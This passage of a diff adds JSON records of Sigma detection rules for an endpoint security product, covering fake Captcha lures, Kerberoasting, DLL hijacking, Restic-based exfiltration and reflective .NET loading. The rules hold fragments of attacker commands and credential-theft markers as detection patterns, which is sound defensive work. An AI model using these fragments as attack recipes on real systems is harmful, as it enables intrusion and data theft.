+  "content": "title: Fake Captcha Exploitation Detected\nid: a07274ba-e853-4ac9-b887-bc07d56cd242\ndescription: |\n    Detects a suspicious command related to fake Captchas.\n    Attackers use fake Captcha verification pages to trick users into executing a malicious payload by asking them to open and copy paste malicious code into a terminal.\n    This technique is often used to deliver Lumma Stealer, an information stealer written in the C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022.\n    It is recommended to investigate the command to determine its legitimacy.\nreferences:\n    - https://blog.qualys.com/vulnerabilities-threat-research/2024/10/20/unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha\n    - https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/\n    - https://www.mcafee.com/blogs/other-blogs/mcafee-labs/behind-the-captcha-a-clever-gateway-of-malware/\n    - https://harfanglab.io/insidethelab/hijackloader-abusing-genuine-certificates/\n    - https://attack.mitre.org/techniques/T1566/\n    - https://attack.mitre.org/techniques/T1204/004/\ndate: 2025/01/06\nmodified: 2026/01/30\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1566\n    - attack.execution\n    - attack.t1204.004\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Phishing\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_image:\n        Image|endswith:\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n            - '\\mshta.exe'\n        ParentImage|endswith: '\\explorer.exe'\n\n    selection_cmd1:\n        CommandLine|contains|all:\n            - 'am'\n            # same with \\xce\\x99  for 'I' and \\xce\\xbf for 'o' , resembling unicode characters\n            - 'n?t'\n            - 'r?b?t'\n\n    selection_cmd2:\n        CommandLine|contains:\n            - 'CAPTCHA'\n            - 'Cl?udflare'\n            - 'Verification'\n\n    selection_cmd3:\n        CommandLine|contains: ' && curl.exe --proto-default httP -L -o '\n\n    selection_powershell:\n        CommandLine|contains|all:\n            - 'PowerShell.exe -W Hidden -C'\n            - 'New-Object -ComObject'\n            - 'Service connection checkup'\n\n    condition: selection_image and (all of selection_cmd* or selection_powershell)\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a07274ba-e853-4ac9-b887-bc07d56cd242",
+  "rule_name": "Fake Captcha Exploitation Detected",
+  "rule_description": "Detects a suspicious command related to fake Captchas.\nAttackers use fake Captcha verification pages to trick users into executing a malicious payload by asking them to open and copy paste malicious code into a terminal.\nThis technique is often used to deliver Lumma Stealer, an information stealer written in the C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022.\nIt is recommended to investigate the command to determine its legitimacy.\n",
+  "rule_creation_date": "2025-01-06",
+  "rule_modified_date": "2026-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.004",
+    "attack.t1566"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a0999f7b-2f2f-4335-a5e2-f5e5af84382a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085309Z",
+  "creation_date": "2026-03-23T11:45:34.085311Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085316Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.vaadata.com/blog/what-is-kerberoasting-attack-and-security-tips-explained/",
+    "https://asiapacificdefencereporter.com/wp-content/uploads/2023/08/Final-CRWD-2023-Threat-Hunting-Report.pdf",
+    "https://attack.mitre.org/techniques/T1558/003/"
+  ],
+  "name": "t1558_003_kerberoasting_attempt_detected.yml",
+  "content": "title: Kerberoasting Attempt Detected via PowerShell\nid: a0999f7b-2f2f-4335-a5e2-f5e5af84382a\ndescription: |\n    Detects the use of PowerShell to perform Kerberoasting by enumerating user accounts with SPNs and requesting Kerberos TGS tickets.\n    The tickets are then extracted and formatted for offline password cracking.\n    This behavior is commonly associated with lateral movement or privilege escalation attempts.\n    It is recommended to analyze the parent process as well as other commands executed in the same PowerShell to look for malicious content or actions.\nreferences:\n    - https://www.vaadata.com/blog/what-is-kerberoasting-attack-and-security-tips-explained/\n    - https://asiapacificdefencereporter.com/wp-content/uploads/2023/08/Final-CRWD-2023-Threat-Hunting-Report.pdf\n    - https://attack.mitre.org/techniques/T1558/003/\ndate: 2022/07/10\nmodified: 2025/08/06\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1558.003\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - 'DirectoryServices.DirectorySearcher'\n            - '[ADSI]'\n            - 'System.IdentityModel.Tokens.KerberosRequestorSecurityToken'\n            - '^(.*?)04820...(.*)'\n            - '$krb5tgs$23$*'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a0999f7b-2f2f-4335-a5e2-f5e5af84382a",
+  "rule_name": "Kerberoasting Attempt Detected via PowerShell",
+  "rule_description": "Detects the use of PowerShell to perform Kerberoasting by enumerating user accounts with SPNs and requesting Kerberos TGS tickets.\nThe tickets are then extracted and formatted for offline password cracking.\nThis behavior is commonly associated with lateral movement or privilege escalation attempts.\nIt is recommended to analyze the parent process as well as other commands executed in the same PowerShell to look for malicious content or actions.\n",
+  "rule_creation_date": "2022-07-10",
+  "rule_modified_date": "2025-08-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1558.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a0c5d981-479e-44e7-b5e2-ae6124aa529e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618495Z",
+  "creation_date": "2026-03-23T11:45:34.618497Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618501Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1560/001/"
+  ],
+  "name": "t1560_001_ditto_archive_creation_file.yml",
+  "content": "title: Archive Created via ditto in a Suspicious Folder\nid: a0c5d981-479e-44e7-b5e2-ae6124aa529e\ndescription: |\n    Detects archive creation using ditto in a folder commonly used by malicious code.\n    Adversaries may compress and/or encrypt collected data prior to exfiltration.\n    It is recommended to check the processes leading to ditto's execution and the content of the archive.\nreferences:\n    - https://attack.mitre.org/techniques/T1560/001/\ndate: 2024/06/13\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1560.001\n    - attack.t1119\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.LOLBin.Ditto\n    - classification.macOS.Behavior.Collection\nlogsource:\n    product: macos\n    category: filesystem_event\ndetection:\n    selection:\n        ProcessImage|endswith: '/ditto'\n        ProcessCommandLine|contains: ' -c '\n        Path|startswith:\n            - '/Users/shared/'\n            - '/private/var/tmp/'\n            - '/private/tmp/'\n        Kind: 'create'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a0c5d981-479e-44e7-b5e2-ae6124aa529e",
+  "rule_name": "Archive Created via ditto in a Suspicious Folder",
+  "rule_description": "Detects archive creation using ditto in a folder commonly used by malicious code.\nAdversaries may compress and/or encrypt collected data prior to exfiltration.\nIt is recommended to check the processes leading to ditto's execution and the content of the archive.\n",
+  "rule_creation_date": "2024-06-13",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1119",
+    "attack.t1560.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a0c89315-2c0d-447a-b0e8-2ea3aac36e0c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590062Z",
+  "creation_date": "2026-03-23T11:45:34.590066Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590073Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msteams.yml",
+  "content": "title: DLL Hijacking via msteams.exe\nid: a0c89315-2c0d-447a-b0e8-2ea3aac36e0c\ndescription: |\n    Detects potential Windows DLL Hijacking via msteams.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'msteams.exe'\n        ImageLoaded|endswith:\n            - '\\mswsock.dll'\n            - '\\netprofm.dll'\n            - '\\propsys.dll'\n            - '\\windows.storage.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files (x86)\\Mozilla Firefox\\'\n            - '?:\\Program Files (x86)\\WindowsApps\\MicrosoftTeams*\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Mozilla Firefox\\'\n            - '?:\\Program Files\\WindowsApps\\MicrosoftTeams*\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a0c89315-2c0d-447a-b0e8-2ea3aac36e0c",
+  "rule_name": "DLL Hijacking via msteams.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via msteams.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a129d6b7-a21b-4e9f-95d8-ce1287f25e1f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602268Z",
+  "creation_date": "2026-03-23T11:45:34.602272Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602279Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_printfilterpipelinesvc.yml",
+  "content": "title: DLL Hijacking via PrintFilterPipelineSvc.exe\nid: a129d6b7-a21b-4e9f-95d8-ce1287f25e1f\ndescription: |\n    Detects potential Windows DLL Hijacking via PrintFilterPipelineSvc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'PrintFilterPipelineSvc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\powrprof.dll'\n            - '\\prntvpt.dll'\n            - '\\xpsservices.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a129d6b7-a21b-4e9f-95d8-ce1287f25e1f",
+  "rule_name": "DLL Hijacking via PrintFilterPipelineSvc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via PrintFilterPipelineSvc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a135187d-5339-40eb-a24b-1539ac6df95b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077265Z",
+  "creation_date": "2026-03-23T11:45:34.077267Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077271Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.esentire.com/blog/nitrogen-campaign-2-0-reloads-with-enhanced-capabilities-leading-to-alphv-blackcat-ransomware",
+    "https://attack.mitre.org/techniques/T1048/"
+  ],
+  "name": "t1048_exfiltration_through_restic.yml",
+  "content": "title: Data Possibly Exfiltrated via Restic Backup Tool\nid: a135187d-5339-40eb-a24b-1539ac6df95b\ndescription: |\n    Detects a Restic command-line used to backup data to an external IP address.\n    This technique can be used by attackers to exfiltrate data from an infected system quietly by using a legitimate backup tool.\n    Restic usage was spotted during a Nitrogen malware campaign used by ALPHV Ransomware affiliates.\n    It is recommended to check if this backup is recurrent and legitimate.\nreferences:\n    - https://www.esentire.com/blog/nitrogen-campaign-2-0-reloads-with-enhanced-capabilities-leading-to-alphv-blackcat-ransomware\n    - https://attack.mitre.org/techniques/T1048/\ndate: 2023/12/13\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.exfiltration\n    - attack.t1048\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.Restic\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_backup:\n        Image|endswith:\n            - '\\Restic.exe'\n            - '\\restic_*.exe'\n        CommandLine|contains: 'backup'\n\n    selection_remote:\n        CommandLine|contains:\n            - '-r'\n            - '--repo'\n\n    selection_protocol:\n        CommandLine|contains:\n            - 'sftp:'\n            - 'rest:'\n            - 's3:'\n            - 'swift:'\n            - 'b2:'\n            - 'azure:'\n            - 'gs:'\n            - 'rclone:'\n\n    filter_local_ip:\n        CommandLine|contains:\n            - '127.'     # RFC1122\n            - '192.168.' # RFC1918\n            - '192.0.0.' # RFC5736\n            - '172.16.'  # RFC1918\n            - '172.17.'  # RFC1918\n            - '172.18.'  # RFC1918\n            - '172.19.'  # RFC1918\n            - '172.2?.'  # RFC1918\n            - '172.30.'  # RFC1918\n            - '172.31.'  # RFC1918\n            - '://10.'   # RFC1918, :// avoid matching product versions and such.\n\n    condition: all of selection_* and not 1 of filter_*\nlevel: medium\n# level: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a135187d-5339-40eb-a24b-1539ac6df95b",
+  "rule_name": "Data Possibly Exfiltrated via Restic Backup Tool",
+  "rule_description": "Detects a Restic command-line used to backup data to an external IP address.\nThis technique can be used by attackers to exfiltrate data from an infected system quietly by using a legitimate backup tool.\nRestic usage was spotted during a Nitrogen malware campaign used by ALPHV Ransomware affiliates.\nIt is recommended to check if this backup is recurrent and legitimate.\n",
+  "rule_creation_date": "2023-12-13",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a14795b4-3ec8-433a-b68e-66813c847661",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079412Z",
+  "creation_date": "2026-03-23T11:45:34.079414Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079418Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1620/"
+  ],
+  "name": "t1620_reflective_dotnet_assembly_load.yml",
+  "content": "title: Reflective Dotnet Assembly Loaded by a Windows Process\nid: a14795b4-3ec8-433a-b68e-66813c847661\ndescription: |\n   Detects Windows processes loading unmanaged .NET assemblies.\n   Attackers commonly use reflective assembly loading to execute malicious .NET code within legitimate processes. This technique enables in-memory execution without writing assemblies to disk, allowing them to bypass application whitelisting, evade file-based detection, and masquerade malicious activities.\n   It is recommended to investigate the loading process for unusual behavior, analyze the loaded assembly's functionality and to review process memory for malicious code.\nreferences:\n    - https://attack.mitre.org/techniques/T1620/\ndate: 2024/11/26\nmodified: 2025/09/04\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1620\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.MemoryExecution\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        AssemblyFlags: '0x0'\n        AssemblyToken: 'null'\n        # Ignore binary not on C drive\n        Image|startswith: '?:\\windows\\'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Windows Phone'\n\n    filter_path:\n        ModuleILPath|contains: '\\'\n\n    # Those two processes are managed using correlation rules (load + exec)\n    filter_specific_rules:\n        ProcessName:\n            - 'w3wp.exe'\n            - 'sqlservr.exe'\n\n    exclusion_system_bin:\n        Image:\n            - '?:\\Windows\\SysWOW64\\msiexec.exe'\n            - '?:\\Windows\\system32\\msiexec.exe'\n            - '?:\\Windows\\System32\\sdiagnhost.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell_ise.exe'\n            - '?:\\Windows\\System32\\wsmprovhost.exe'\n            - '?:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\ServicePortalAgent\\current\\emulator\\MmrAgent.NetFxEmulator.exe'\n            - '?:\\Windows\\System32\\ClusterUpdateUI.exe'\n            - '?:\\Windows\\System32\\mmc.exe'\n            - '?:\\Windows\\SysWOW64\\TCPSVCS.EXE'\n            - '?:\\Windows\\Microsoft.NET\\Framework\\\\*'\n\n    exclusion_wmi:\n        Image:\n            - '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n            - '?:\\Windows\\SysWOW64\\wbem\\WmiPrvSE.exe'\n        FullyQualifiedAssemblyName: '????????, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null'\n\n    exclusion_cylance:\n        AssemblyName: 'Cylance.DotNetHookHelper'\n\n    exclusion_explorer:\n        - ProcessImage: '?:\\WINDOWS\\Explorer.EXE'\n          ProcessParentImage: '?:\\WINDOWS\\system32\\userinit.exe'\n        - ProcessCommandLine: '?:\\WINDOWS\\explorer.exe /factory,{????????-????-????-????-????????????} -Embedding'\n          ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_bluetooth:\n        ProcessParentImage:\n            - '?:\\Program Files (x86)\\ifm electronic\\Maintenance\\Maintenance.exe'\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseIR.exe'\n        ProcessGrandparentImage: '?:\\Program Files\\GLPI-Agent\\perl\\bin\\glpi-agent.exe'\n\n    exclusion_defender:\n        ProcessCommandLine|contains: 'class Elam{ [DllImport(\"Kernel32\", CharSet=CharSet.Auto, SetLastError=true)] public static extern bool InstallELAMCertificateInfo(SafeFileHandle handle);'\n\n    exclusion_crowdstrike:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\DllHost.exe /Processid:{BD07DDB9-1C61-4DCE-9202-A2BA1757CDB2}'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a14795b4-3ec8-433a-b68e-66813c847661",
+  "rule_name": "Reflective Dotnet Assembly Loaded by a Windows Process",
+  "rule_description": "Detects Windows processes loading unmanaged .NET assemblies.\nAttackers commonly use reflective assembly loading to execute malicious .NET code within legitimate processes. This technique enables in-memory execution without writing assemblies to disk, allowing them to bypass application whitelisting, evade file-based detection, and masquerade malicious activities.\nIt is recommended to investigate the loading process for unusual behavior, analyze the loaded assembly's functionality and to review process memory for malicious code.\n",
+  "rule_creation_date": "2024-11-26",
+  "rule_modified_date": "2025-09-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1620"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a16193ec-65ac-4236-8677-ea8c508bb28b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
